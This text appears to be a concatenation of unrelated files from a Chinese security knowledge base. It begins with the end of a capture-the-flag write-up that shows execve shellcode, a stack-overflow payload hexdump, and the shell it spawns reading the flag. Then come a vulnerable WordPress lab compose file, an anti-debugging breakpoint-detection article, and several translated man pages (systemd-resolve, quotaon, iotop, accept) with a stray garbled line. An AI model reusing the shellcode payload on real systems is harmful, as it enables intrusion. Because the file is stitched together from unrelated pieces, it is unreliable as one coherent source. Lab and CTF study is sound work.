*/ push SYS_execve /* 0x3b */ pop rax syscall [*] Leaked address: 0x7ffefe850108 [*] Local Buffer address: 0x7ffefe84ffa0 [*] Sending payload: 00000000 6a 68 48 b8 2f 62 69 6e 2f 2f 2f 73 50 48 89 e7 │jhH·│/bin│///s│PH··│ 00000010 68 72 69 01 01 81 34 24 01 01 01 01 31 f6 56 6a │hri·│··4$│····│1·Vj│ 00000020 08 5e 48 01 e6 56 48 89 e6 31 d2 6a 3b 58 0f 05 │·^H·│·VH·│·1·j│;X··│ 00000030 6d 61 61 61 6e 61 61 61 6f 61 61 61 70 61 61 61 │maaa│naaa│oaaa│paaa│ 00000040 71 61 61 61 72 61 61 61 73 61 61 61 74 61 61 61 │qaaa│raaa│saaa│taaa│ 00000050 75 61 61 61 76 61 61 61 77 61 61 61 78 61 61 61 │uaaa│vaaa│waaa│xaaa│ 00000060 79 61 61 61 7a 61 61 62 62 61 61 62 63 61 61 62 │yaaa│zaab│baab│caab│ 00000070 64 61 61 62 65 61 61 62 a0 ff 84 fe fe 7f 00 00 │daab│eaab│····│····│ 00000080 [*] Switching to interactive mode $ ls flag.txt gauntlet xinet_startup.sh $ cat flag.txt d509e835331047d80c23c46198350638 ``` The flag: `d509e835331047d80c23c46198350638`
sec-knowleage
version: '2' services: web: image: vulhub/wordpress:4.6 depends_on: - mysql environment: - WORDPRESS_DB_HOST=mysql:3306 - WORDPRESS_DB_USER=root - WORDPRESS_DB_PASSWORD=root - WORDPRESS_DB_NAME=wordpress ports: - "8080:80" mysql: image: mysql:5 environment: - MYSQL_ROOT_PASSWORD=root
sec-knowleage
'\" t .TH "SYSTEMD\-RESOLVE" "1" "" "systemd 231" "systemd-resolve" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" http://bugs.debian.org/507673 .\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" ----------------------------------------------------------------- .\" * set default formatting .\" ----------------------------------------------------------------- .\" disable hyphenation .nh .\" disable justification (adjust text to left margin only) .ad l .\" ----------------------------------------------------------------- .\" * MAIN CONTENT STARTS HERE * .\" ----------------------------------------------------------------- .SH "NAME" systemd-resolve \- 解析主机名、IP地址、域名、DNS资源记录、服务 .SH "SYNOPSIS" .HP \w'\fBsystemd\-resolve\fR\ 'u \fBsystemd\-resolve\fR [OPTIONS...] \fIHOSTNAME\fR... .HP \w'\fBsystemd\-resolve\fR\ 'u \fBsystemd\-resolve\fR [OPTIONS...] \fIADDRESS\fR... .HP \w'\fBsystemd\-resolve\fR\ 'u \fBsystemd\-resolve\fR [OPTIONS...] \-\-type=\fITYPE\fR \fIDOMAIN\fR... .HP \w'\fBsystemd\-resolve\fR\ 'u \fBsystemd\-resolve\fR [OPTIONS...] \-\-service [[\fINAME\fR]\ \fITYPE\fR]\ \fIDOMAIN\fR .HP \w'\fBsystemd\-resolve\fR\ 'u \fBsystemd\-resolve\fR [OPTIONS...] \-\-openpgp \fIUSER@DOMAIN\fR .HP \w'\fBsystemd\-resolve\fR\ 'u \fBsystemd\-resolve\fR [OPTIONS...] \-\-tlsa \fIDOMAIN\fR\fI[:PORT]\fR .HP \w'\fBsystemd\-resolve\fR\ 'u \fBsystemd\-resolve\fR [OPTIONS...] \-\-statistics .HP \w'\fBsystemd\-resolve\fR\ 'u \fBsystemd\-resolve\fR [OPTIONS...] \-\-reset\-statistics .SH "描述" .PP \fBsystemd\-resolve\fR 利用 \fBsystemd-resolved.service\fR(8) 系统服务解析主机名、IP地址、域名、DNS资源记录、服务。 默认情况下,参数列表将被视为域名/主机名的列表,程序的输出将是它们所对应的 IPv4 或 IPv6 地址。 如果参数符合 IPv4 或 IPv6 格式,那么表示反解析IP地址所对应的主机名。 .PP 程序的输出包括查找所使用的协议与网络接口, 还包括查找到的信息是否是可靠的。 所有通过 DNSSEC 认证的信息将被视为是可靠的, 所有从本地可信源获取的信息也被视为是可靠的, 包括对本机主机名的解析、特殊的 "localhost" 主机名、所有来自 /etc/hosts 中的结果。 .PP \fB\-\-type=\fR 用于指定仅查询特定类型的DNS资源记录(A, AAAA, SOA, MX, \&.\&.\&.), 而不是默认的地址解析/反解析。 特殊值 "help" 可用于列出所有可用的记录类型。 .PP \fB\-\-service\fR 用于解析 \m[blue]\fBSRV\fR\m[]\&\s-2\u[1]\d\s+2 与 \m[blue]\fBDNS\-SD\fR\m[]\&\s-2\u[2]\d\s+2 服务(见下文)。 需要一至三个参数。如果指定了三个参数,那么第一个是 DNS\-SD 服务名, 第二个是 SRV 服务类型,第三个是要查找的域。在这种情况下,将会执行一次完整的 DNS\-SD 风格的 SRV 与 TXT 查询。 如果只指定了二个参数,那么第一个是 SRV 服务类型, 第二个是要查找的域。在这种情况下,将省略 TXT 查询。最后,如果只指定了一个参数, 那么该参数将被视为域名,并且已经加上了 SRV 类型前缀。在这种情况下,将会执行一个 SRV 查询(不含 TXT) .PP \fB\-\-openpgp\fR 用于查询存储在DNS的 \m[blue]\fBOPENPGPKEY\fR\m[]\&\s-2\u[3]\d\s+2 类型的资源记录中的 PGP 公钥。 需要指定至少一个Email地址。 .PP \fB\-\-tlsa\fR 用于查询存储在DNS的 \m[blue]\fBTLSA\fR\m[]\&\s-2\u[4]\d\s+2 类型的资源记录中的 TLS 公钥。 需要指定至少一个域名。 .PP \fB\-\-statistics\fR 用于显示解析统计, 包括 DNSSEC 验证成功与失败的数量。 .PP \fB\-\-reset\-statistics\fR 用于重置各种解析统计的计数器, 包括所有 \fB\-\-statistics\fR 输出的统计数据。此操作需要超级用户权限。 .SH "选项" .PP \fB\-4\fR, \fB\-6\fR .RS 4 在解析主机名时,默认同时查询 IPv4 与 IPv6 地址。 使用 \fB\-4\fR 表示仅查询 IPv4 地址, 使用 \fB\-6\fR 表示仅查询 IPv6 地址。 .RE .PP \fB\-i\fR \fIINTERFACE\fR, \fB\-\-interface=\fR\fIINTERFACE\fR .RS 4 指定使用哪个网络接口。 可以使用网卡的数字序号,也可以使用例如 "en0" 这样的网卡名称。 注意,在使用全局DNS(位于 /etc/resolv\&.conf 与 /etc/systemd/resolve\&.conf) 的时候,此选项没有效果。 .RE .PP \fB\-p\fR \fIPROTOCOL\fR, \fB\-\-protocol=\fR\fIPROTOCOL\fR .RS 4 指定查询所用的协议。可以设为下列四个值之一: "dns"(经典的单播DNS)、 "llmnr"(\m[blue]\fBLink\-Local Multicast Name Resolution\fR\m[]\&\s-2\u[5]\d\s+2)、 "llmnr\-ipv4" 、 "llmnr\-ipv6" 。 默认使用所有适合的协议。 可以多次使用此选项以指定多个查询协议。 注意:(1)设置 "llmnr" 等价于同时设置 "llmnr\-ipv4" 与 "llmnr\-ipv6" 。(2)此选项并不强制 \fBsystemd-resolved.service\fR(8) 必须使用指定的查询协议,因为某个必需的网络接口与相应的配置可能不存在。 (3)特殊值 "help" 可用于列出所有可用的协议。 .RE .PP \fB\-t\fR \fITYPE\fR, \fB\-\-type=\fR\fITYPE\fR, \fB\-c\fR \fICLASS\fR, \fB\-\-class=\fR\fICLASS\fR .RS 4 指定查找的DNS资源记录的 type(A, AAAA, MX, \&...) 与 class(IN, ANY, \&...)。 如果使用了此选项,那么仅查询与指定的 type/class 匹配的DNS资源记录。 如果仅指定了 type 的话,那么 class 的默认值是"IN"。 特殊值 "help" 可用于列出所有可用的值。 .RE .PP \fB\-\-service\fR .RS 4 根据指定的参数列表,开启 DNS\-SD 与 简单 SRV 服务解析。 详见前文。 .RE .PP \fB\-\-service\-address=\fR\fIBOOL\fR .RS 4 默认值 yes 表示在使用 \fB\-\-service\fR 查找服务时,同时也解析包含在 SRV 资源记录内的主机名。 .RE .PP \fB\-\-service\-txt=\fR\fIBOOL\fR .RS 4 默认值 yes 表示在使用 \fB\-\-service\fR 查找 DNS\-SD 服务时,同时也解析 TXT 服务元数据记录。 .RE .PP \fB\-\-openpgp\fR .RS 4 查询存储在DNS的 OPENPGPKEY 类型的资源记录中的 PGP 公钥(参见前文)。 指定的Email地址将被转换为对应的DNS域名,并打印出所有 OPENPGPKEY 公钥。 .RE .PP \fB\-\-tlsa\fR .RS 4 为每一个带有 port 与 family 前缀的名字 ("_\fIport\fR\&._\fIfamily\fR\&.\fIdomain\fR") 查询存储在DNS的 TLSA 类型的资源记录中的 TLS 公钥(参见前文)。 端口号可以明确的写在冒号(:)之后, 否则将使用默认的 \fB443\fR 端口。 family 可以作为 \fB\-\-tlsa\fR 的参数指定,否则将使用默认值 \fBtcp\fR 。 .RE .PP \fB\-\-cname=\fR\fIBOOL\fR .RS 4 默认值 yes 表示追踪 DNS 的 CNAME 或 DNAME 重定向。 否则,在接收到 CNAME 或 DNAME 应答后,直接返回错误。 .RE .PP \fB\-\-search=\fR\fIBOOL\fR .RS 4 默认值 yes 表示所有不含"\&."的主机名都将在搜索域列表(若非空)中进行搜索。 .RE .PP \fB\-\-raw\fR[=payload|packet] .RS 4 以原始的二进制格式显示应答的数据。 "payload"(缺省值)表示导出数据包的荷载。 "packet" 表示导出原始的数据帧,并在前面加上一个小端序形式表示的64位整数。 此选项仅用于调试目的。 .RE .PP \fB\-\-legend=\fR\fIBOOL\fR .RS 4 默认值 yes 表示显示应答内容的标题头与元数据。 .RE .PP \fB\-\-statistics\fR .RS 4 显示解析统计,包括 DNSSEC 是否可用, 以及 DNSSEC 验证成功与失败的数量。 .RE .PP \fB\-\-reset\-statistics\fR .RS 4 重置各种解析统计的计数器,包括所有 \fB\-\-statistics\fR 输出的统计数据。此操作需要超级用户权限。 .RE .PP \fB\-\-flush\-caches\fR .RS 4 刷新本地DNS资源记录缓存。 .RE .PP \fB\-\-status\fR .RS 4 显示全局DNS设置、以及针对每个连接的DNS设置。 .RE .PP \fB\-h\fR, \fB\-\-help\fR .RS 4 显示简短的帮助信息并退出。 .RE .PP \fB\-\-version\fR .RS 4 显示简短的版本信息并退出。 .RE .PP \fB\-\-no\-pager\fR .RS 4 不将程序的输出内容管道(pipe)给分页程序。 .RE .SH "例子" .PP \fBExample\ \&1.\ \&解析 "www\&.0pointer\&.net" 域名所对应的地址\fR .sp .if n \{\ .RS 4 .\} .nf $ systemd\-resolve www\&.0pointer\&.net www\&.0pointer\&.net: 2a01:238:43ed:c300:10c3:bcf3:3266:da74 85\&.214\&.157\&.71 \-\- Information acquired via protocol DNS in 611\&.6ms\&. \-\- Data is authenticated: no .fi .if n \{\ .RE .\} .PP \fBExample\ \&2.\ \&反解析 "85\&.214\&.157\&.71" 地址所对应的域名\fR .sp .if n \{\ .RS 4 .\} .nf $ systemd\-resolve 85\&.214\&.157\&.71 85\&.214\&.157\&.71: gardel\&.0pointer\&.net \-\- Information acquired via protocol DNS in 1\&.2997s\&. \-\- Data is authenticated: no .fi .if n \{\ .RE .\} .PP \fBExample\ \&3.\ \&查找 "0pointer\&.net" 域名的 MX 记录\fR .sp .if n \{\ .RS 4 .\} .nf $ systemd\-resolve \-t MX yahoo\&.com \-\-legend=no yahoo\&.com\&. IN MX 1 mta7\&.am0\&.yahoodns\&.net yahoo\&.com\&. IN MX 1 mta6\&.am0\&.yahoodns\&.net yahoo\&.com\&. IN MX 1 mta5\&.am0\&.yahoodns\&.net .fi .if n \{\ .RE .\} .PP \fBExample\ \&4.\ \&查找一个 SRV 服务\fR .sp .if n \{\ .RS 4 .\} .nf $ systemd\-resolve \-\-service _xmpp\-server\&._tcp gmail\&.com _xmpp\-server\&._tcp/gmail\&.com: alt1\&.xmpp\-server\&.l\&.google\&.com:5269 [priority=20, weight=0] 173\&.194\&.210\&.125 alt4\&.xmpp\-server\&.l\&.google\&.com:5269 [priority=20, weight=0] 173\&.194\&.65\&.125 \&.\&.\&. .fi .if n \{\ .RE .\} .PP \fBExample\ \&5.\ \&查找一个 PGP 公钥\fR .sp .if n \{\ .RS 4 .\} .nf $ systemd\-resolve \-\-openpgp zbyszek@fedoraproject\&.org d08ee310438ca124a6149ea5cc21b6313b390dce485576eff96f8722\&._openpgpkey\&.fedoraproject\&.org\&. IN OPENPGPKEY mQINBFBHPMsBEACeInGYJCb+7TurKfb6wGyTottCDtiSJB310i37/6ZYoeIay/5soJjlMyf MFQ9T2XNT/0LM6gTa0MpC1st9LnzYTMsT6tzRly1D1UbVI6xw0g0vE5y2Cjk3xUwAynCsSs \&.\&.\&. .fi .if n \{\ .RE .\} .PP \fBExample\ \&6.\ \&查找一个 TLS 公钥 (可以省略 "=tcp" 与 ":443")\fR .sp .if n \{\ .RS 4 .\} .nf $ systemd\-resolve \-\-tlsa=tcp fedoraproject\&.org:443 _443\&._tcp\&.fedoraproject\&.org IN TLSA 0 0 1 19400be5b7a31fb733917700789d2f0a2471c0c9d506c0e504c06c16d7cb17c0 \-\- Cert\&. usage: CA constraint \-\- Selector: Full Certificate \-\- Matching type: SHA\-256 .fi .if n \{\ .RE .\} .SH "参见" .PP \fBsystemd\fR(1), \fBsystemd-resolved.service\fR(8) .SH "NOTES" .IP " 1." 4 SRV .RS 4 \%https://tools.ietf.org/html/rfc2782 .RE .IP " 2." 4 DNS-SD .RS 4 \%https://tools.ietf.org/html/rfc6763 .RE .IP " 3." 4 OPENPGPKEY .RS 4 \%https://tools.ietf.org/html/draft-wouters-dane-openpgp-02 .RE .IP " 4." 4 TLSA .RS 4 \%https://tools.ietf.org/html/rfc6698 .RE .IP " 5." 4 Link-Local Multicast Name Resolution .RS 4 \%https://tools.ietf.org/html/rfc4795 .RE .\" manpages-zh translator: 金步国 .\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
sec-knowleage
### Detecting Breakpoints概述 gdb通过替换目标地址的字节为`0xcc`来实现断点, 这里给出一个简单的检测`int 3`断点的示例: ``` c void foo() { printf("Hello\n"); } int main() { if ((*(volatile unsigned *)((unsigned)foo) & 0xff) == 0xcc) { printf("BREAKPOINT\n"); exit(1); } foo(); } ``` 正常运行程序会输出Hello, 但是如果之前有在`foo`函数这里设置`cc`断点并运行, gdb则无法断下, 并会输出`BREAKPOINT`. ``` # gdb ./x gdb> bp foo Breakpoint 1 at 0x804838c gdb> run BREAKPOINT Program exited with code 01. ``` 这个要绕过也很简单, 那就是需要阅读汇编代码并注意设置断点不要在`foo`函数入口处. 实际情况就要看检测断点的位置是哪里. 这种监视断点的反调试技术, 关键不在于如何绕过它, 而是在于如何检测它. 在这个示例中可以很轻松的发现, 程序也有打印出相应的信息. 在实际情况中, 程序不会输出任何信息, 断点也无法轻易地断下. 我们可以使用`perl`脚本过滤反汇编代码中有关`0xcc`的代码出来进行检查. 我们可以使用perl脚本过滤反汇编代码中有关0xcc的代码出来进行检查 ``` perl #!/usr/bin/perl while(<>) { if($_ =~ m/([0-9a-f][4]:\s*[0-9a-f \t]*.*0xcc)/ ){ print; } } ``` 显示结果 ``` # objdump -M intel -d xxx | ./antibp.pl 80483be: 3d cc 00 00 00 cmp eax,0xcc ``` 检测到后, 既可以将0xcc修改成0x00或0x90, 也可以做任何你想做的操作. 改变0xcc也同样可能带来问题, 就如上篇介绍一样, 程序如果有进行文件校验, 那么我们的改变是会被检测到的. 可能的情况下, 程序也不只是对函数入口点进行检测, 也会在一个循环里对整个函数进行检测. 因此你也可以用十六进制编辑器手动放置一个`ICEBP(0xF1)`字节到需要断下的位置(而非`int 3`). 因为`ICEBP`也一样能让gdb断下来. > Reference: [Beginners Guide to Basic Linux Anti Anti Debugging Techniques](http://www.stonedcoder.org/~kd/lib/14-61-1-PB.pdf)
sec-knowleage
.TH QUOTAON 8 "Fri Mar 09 2001" .UC 4 .SH NAME quotaon \- 开启关闭文件系统配额 .SH "总览 (SYNOPSIS)" .B quotaon [ .B -e | .B d ] [ .B -vug ] .IR filesystem .\|.\|. .br .B quotaon [ .B -e | .B d ] [ .B -avug ] .PP .B quotaoff [ .B -e | .B d ] [ .B -vug ] .IR filesystem .\|.\|. .br .B quotaoff [ .B -e | .B d ] [ .B -avug ] .SH "描述 (DESCRIPTION)" .IX "quotaon 命令" "" "\fLquotaon\fP \(em 打开文件系统配额" .IX "用户配额" "quotaon 命令" "" "\fLquotaon\fP \(em 打开文件系统配额" .IX "磁盘配额" "quotaon 命令" "" "\fLquotaon\fP \(em 打开文件系统配额" .IX "配额" "quotaon 命令" "" "\fLquotaon\fP \(em 打开文件系统配额" .IX "文件系统" "quotaon 命令" "" "\fLquotaon\fP \(em 打开文件系统配额" .IX "quotaoff 命令" "" "\fLquotaoff\fP \(em 关闭文件系统配额" .IX "用户配额" "quotaoff 命令" "" "\fLquotaoff\fP \(em 关闭文件系统配额" .IX "磁盘配额" "quotaoff 命令" "" "\fLquotaoff\fP \(em 关闭文件系统配额" .IX "配额" "quotaoff c命令" "" "\fLquotaoff\fP \(em 关闭文件系统配额" .IX "文件系统" "quotaoff 命令" "" "\fLquotaoff\fP \(em 关闭文件系统配额" .LP .B quotaon 通知系统在一个或者几个文件系统上使用磁盘配额。 .B quotaoff 通知系统取消某一个特定的文件系统的所有磁盘配额。 被指定的文件系统必须已经装载。 .B quotaon 要求在指定的文件系统的根目录下有相应的配额文件, 用户配额文件是 .IR aquota.user , 组配额文件是 .IR aquota.group 。 这些文件可以是用 .BR convertquota (8) 命令转换旧的配额文件而来, 也可以是用 .BR quotacheck (8) 命令创建的一个全新的文件。 默认是用户和组配额 都被允许。 .SH "选项 (OPTIONS)" .TP .B -e 开启指定文件系统配额。 当程序名是 .B quotaon 时, 此选项是默认的。 . .TP .B -d 关闭指定文件系统配额。 当程序名是 .B quotaoff 时, 此选项是默认的。 . .TP .B -a 当用在任何文件系统名称的地方时, .B quotaon/quotaoff 将允许/禁止所有在 .B /etc/mtab 中指定的文件系统为有磁盘配额的读-写。 这个选项一般被用在系统启动时开启配额。 .TP .B -v 为每个开启或关闭配额的文件系统显示一条消息。 .TP .B -u 处理用户配额。 这是默认选项。 .TP .B -g 处理组配额。 .LP .SH "文件 (FILES)" .PD 0 .TP 20 .B aquota.user 文件系统根目录下的用户配额文件 .TP .B aquota.group 文件系统根目录下的组配额文件 .TP .B /etc/mtab 已装载的文件系统表 .PD .SH "参见 (SEE ALSO)" .BR quota (1), .BR quotactl (2), .BR fstab (5), .BR convertquota (8), .BR quotacheck (8), .BR setquota (8), .BR edquota (8), .BR repquota (8) .SH "作者 (AUTHOR)" Jan Kara \<jack@atrey.karlin.mff.cuni.cz\> .SH "[中文版维护人]" .B 唐友 \<tony_ty@263.net\> .SH "[中文版最新更新]" .BR 2001/7/13 .SH "[中国 Linux 论坛 man 手册页翻译计划]" .BI http://cmpp.linuxforum.net
sec-knowleage
iotop === 用来监视磁盘I/O使用状况的工具 ## 补充说明 **iotop命令** 是一个用来监视磁盘I/O使用状况的top类工具。iotop具有与top相似的UI,其中包括PID、用户、I/O、进程等相关信息。Linux下的IO统计工具如iostat,nmon等大多数是只能统计到per设备的读写情况,如果你想知道每个进程是如何使用IO的就比较麻烦,使用iotop命令可以很方便的查看。 iotop使用Python语言编写而成,要求Python2.5(及以上版本)和Linux kernel2.6.20(及以上版本)。iotop提供有源代码及rpm包,可从其官方主页下载。 ### 安装 **Ubuntu** ```shell apt-get install iotop ``` **CentOS** ```shell yum install iotop ``` **编译安装** ```shell wget http://guichaz.free.fr/iotop/files/iotop-0.4.4.tar.gz tar zxf iotop-0.4.4.tar.gz python setup.py build python setup.py install ``` ### 语法 ```shell iotop(选项) ``` ### 选项 ```shell -o:只显示有io操作的进程 -b:批量显示,无交互,主要用作记录到文件。 -n NUM:显示NUM次,主要用于非交互式模式。 -d SEC:间隔SEC秒显示一次。 -p PID:监控的进程pid。 -u USER:监控的进程用户。 ``` **iotop常用快捷键:** 1. 左右箭头:改变排序方式,默认是按IO排序。 2. r:改变排序顺序。 3. o:只显示有IO输出的进程。 4. p:进程/线程的显示方式的切换。 5. a:显示累积使用量。 6. q:退出。 ### 实例 直接执行iotop就可以看到效果了: ```shell Total DISK read: 0.00 B/s | Total DISK write: 0.00 B/s TID PRIO USER DISK READ DISK WRITE SWAPIN IO> command 1 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % init [3] 2 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [kthreadd] 3 rt/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [migration/0] 4 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [ksoftirqd/0] 5 rt/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [watchdog/0] 6 rt/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [migration/1] 7 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [ksoftirqd/1] 8 rt/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [watchdog/1] 9 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [events/0] 10 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [events/1] 11 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [khelper] 2572 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [bluetooth] ```
sec-knowleage
.\" Copyright (c) 1983, 1990, 1991 The Regents of the University of California. .\" All rights reserved. .\" .\" Redistribution and use in source and binary forms, with or without .\" modification, are permitted provided that the following conditions .\" are met: .\" 1. Redistributions of source code must retain the above copyright .\" notice, this list of conditions and the following disclaimer. .\" 2. Redistributions in binary form must reproduce the above copyright .\" notice, this list of conditions and the following disclaimer in the .\" documentation and/or other materials provided with the distribution. .\" 3. All advertising materials mentioning features or use of this software .\" must display the following acknowledgement: .\" This product includes software developed by the University of .\" California, Berkeley and its contributors. .\" 4. Neither the name of the University nor the names of its contributors .\" may be used to endorse or promote products derived from this software .\" without specific prior written permission. .\" .\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND .\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE .\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE .\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE .\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL .\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS .\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) .\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT .\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY .\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF .\" SUCH DAMAGE. .\" .\" Modified Sat Jul 24 16:42:42 1993 by Rik Faith <faith@cs.unc.edu> .\" Modified Mon Oct 21 23:05:29 EDT 1996 by Eric S. Raymond <esr@thyrsus.com> .\" Modified 1998-2000 by Andi Kleen to match Linux 2.2 reality .\" 中文版 Copyright (c) 2002 byeyear 和 www.linuxforum.net .TH ACCEPT 2 "7 May 1999" "Linux 2.2 Page" "Linux Programmer's Manual" .SH NAME 名称 accept \- 在一个套接字上接收一个连接 .SH SYNOPSIS 概述 .B #include <sys/types.h> .br .B #include <sys/socket.h> .sp .BI "int accept(int " s ", struct sockaddr *" addr ", socklen_t *" addrlen ); .SH DESCRIPTION 描述 .B accept 函数用于基于连接的套接字 .RB (SOCK_STREAM , .B SOCK_SEQPACKET 和 .BR SOCK_RDM). 它从未完成连接队列中取出第一个连接请求,创建一个和参数 .IR s 属性相同的连接套接字,并为这个套接字分配一个文件描述符, 然后以这个描述符返回.新创建的描述符不再处于倾听状态.原 套接字 .I s 不受此调用的影响.注意任意一个文件描述符标志 (任何可以被 fcntl以参数 .B F_SETFL 设置的值,比如非阻塞式或者异步状态)不会被 .IR accept. 所继承. .PP 参数 .I s 是以 .BR socket (2) 创建,用 .BR bind (2) 绑定到一个本地地址,并且在调用了 .BR listen (2). 之后正在侦听一个连接的套接字. 参数 .I addr 是一个指向结构sockaddr的指针.这个结构体以连接实体地址填充. 所谓的连接实体,就是众所周知的网络层.参数 .I addr 所传递的真正的地址格式依赖于所使用的套接字族. (参见 .BR socket (2) 和各协议自己的手册页). .I addrlen 是一个实时参数: 它的大小应该能够足以容纳参数 .IR addr 所指向的结构体;在函数返回时此参数将以字节数表示出返回地址的 实际长度.若 .I addr 使用NULL作为参数,addrlen将也被置为NULL. .PP 如果队列中没有未完成连接套接字,并且套接字没有标记为非阻塞式, .B accept 将阻塞直到一个连接到达.如果一个套接字被标记为非阻塞式而队列 中没有未完成连接套接字, .B accept 将返回EAGAIN. .PP 使用 .BR select (2) 或者 .BR poll (2). 可以在一个套接字上有连接到来时产生事件.当尝试一个新的连接时 套接字读就绪,这样我们就可以调用 .B accept 为这个连接获得一个新的套接字.此外,你还可以设置套接字在唤醒时 接收到信号 .B SIGIO; 细节请参见 .BR socket (7) .PP 对于那些需要显式确认的协议,比如 DECNet, .B accept 可以看作仅仅从队列中取出下一个连接而不做确认.当在这个新的文件 描述符上进行普通读写操作时暗示了确认,当关闭这个新的套接字时暗 示了拒绝.目前在Linux上只有DECNet有这样 的含义. .SH NOTES 注意 当接收到一个 .B SIGIO 信号或者 .BR select (2) 或 .BR poll (2) 返回读就绪并不总是意味着有新连接在等待,因为连接可能在调用 .B accept 之前已经被异步网络错误或者其他线程所移除.如果发生这种情况, 那么调用将阻塞并等待下一个连接的到来.为确保 .B accept 永远不会阻塞,传递的套接字 .I s 需要置 .B O_NONBLOCK 标志(参见 .BR socket (7)). .SH "RETURN VALUE" "返回值" 此调用在发生错误时返回\-1.若成功则返回一个非负整数标识这个 连接套接字. .SH ERROR HANDLING 错误处理 Linux .B accept 将一个待处理网络错误代码通过 .BR accept 传递给新套接字 . 这种处理方式有别于其他的BSD套接字实现.为可靠操作,应用程序 必须在调用 .B accept 之后能够检测这些为协议定义的网络错误,并且以重试解决,就象 .BR EAGAIN 一样.对于TCP/IP这些网络错误是 .BR ENETDOWN, .BR EPROTO, .BR ENOPROTOOPT, .BR EHOSTDOWN, .BR ENONET, .BR EHOSTUNREACH, .BR EOPNOTSUPP, 以及 .BR ENETUNREACH. .SH ERRORS 错误 .TP .BR EAGAIN或者EWOULDBLOCK 套接字被标记为非阻塞,且当前没有可接收的连接. .TP .B EBADF 描述符非法. .TP .B ENOTSOCK 描述符指向一个文件,而不是一个套接字. .TP .B EOPNOTSUPP 作为参数的套接字不是 .BR SOCK_STREAM. 类型 .TP .B EFAULT 参数 .I addr 不在用户可写地址空间之内. .TP .B EPERM 防火墙规则禁止连接. .TP .B ENOBUFS,ENOMEM 没有足够内存. 这个错误一般来说意味着内存分配受套接字缓冲区所限, 而不是没有系统内存. .PP 另外,新套接字和协议中定义的网络错误也可能被返回. 不同的Linux内核也可能返回下列错误 .BR EMFILE , .BR EINVAL , .BR ENOSR , .BR ENOBUFS , .BR EPERM , .BR ECONNABORTED , .BR ESOCKTNOSUPPORT , .BR EPROTONOSUPPORT , .BR ETIMEDOUT , .BR ERESTARTSYS . .SH "CONFORMING TO" "兼容于" SVr4,4.4BSD( .B accept 函数首次出现于BSD 4.2). BSD手册页文档定义了五个可能的错误返回值 (EBADF, ENOTSOCK, EOPNOTSUPP, EWOULDBLOCK, EFAULT). SUSv2文档的定义是EAGAIN, EBADF, ECONNABORTED, EFAULT, EINTR, EINVAL, EMFILE, ENFILE, ENOBUFS, ENOMEM, ENOSR, ENOTSOCK, EOPNOTSUPP, EPROTO, EWOULDBLOCK. .LP Linux accept不继承象 .BR O_NONBLOCK 这样的套接字标志. 这一点有别于其他的BSD套接字实现. 因此,程序应该在accept所返回的套接字上设置所有需要的标志. .SH NOTE 注意 函数 .B accept 的第三个参数原来被声明为'int *'(在libc4和libc5以及其他很多系统中, 比如BSD 4.*,SunOS 4, SGI);POSIX 1003.1g草案试图将其改变为 `size_t *',SunOS 5就是这么做的. 后来的POSIX草案和Single Unix Specification以及glibc2使用了 `socklen_t *'. Quoting Linus Torvalds: 引自Linus Torvalds (译注:这个家伙就是Linux的创始人,所以我保留了他老人家的原文, 仅将原文大意附后): I fails: only italicizes a single line _Any_ sane library _must_ have "socklen_t" be the same size as int. Anything else breaks any BSD socket layer stuff. POSIX initially _did_ make it a size_t, and I (and hopefully others, but obviously not too many) complained to them very loudly indeed. Making it a size_t is completely broken, exactly because size_t very seldom is the same size as "int" on 64-bit architectures, for example. And it _has_ to be the same size as "int" because that's what the BSD socket interface is. Anyway, the POSIX people eventually got a clue, and created "socklen_t". They shouldn't have touched it in the first place, but once they did they felt it had to have a named type for some unfathomable reason (probably somebody didn't like losing face over having done the original stupid thing, so they silently just renamed their blunder). 数据类型"socklen_t"和int应该具有相同的长度.否则就会破坏 BSD套接字层的填充.POSIX开始的时候用的是size_t, Linus Torvalds(他希望有更多的人,但显然不是很多) 努力向他们解释使用size_t是完全错误的,因为在64位结构中 size_t和int的长度是不一样的,而这个参数(也就是accept函数 的第三参数)的长度必须和int一致,因为这是BSD套接字接口 标准.最终POSIX的那帮家伙找到了解决的办法,那就是创造了 一个新的类型"socklen_t".Linux Torvalds说这是由于他们 发现了自己的错误但又不好意思向大家伙儿承认,所以另外 创造了一个新的数据类型. .SH "SEE ALSO" "参见" .BR bind (2), .BR connect (2), .BR listen (2), .BR select (2), .BR socket (2) .SH "[中文版维护人]" .B byeyear 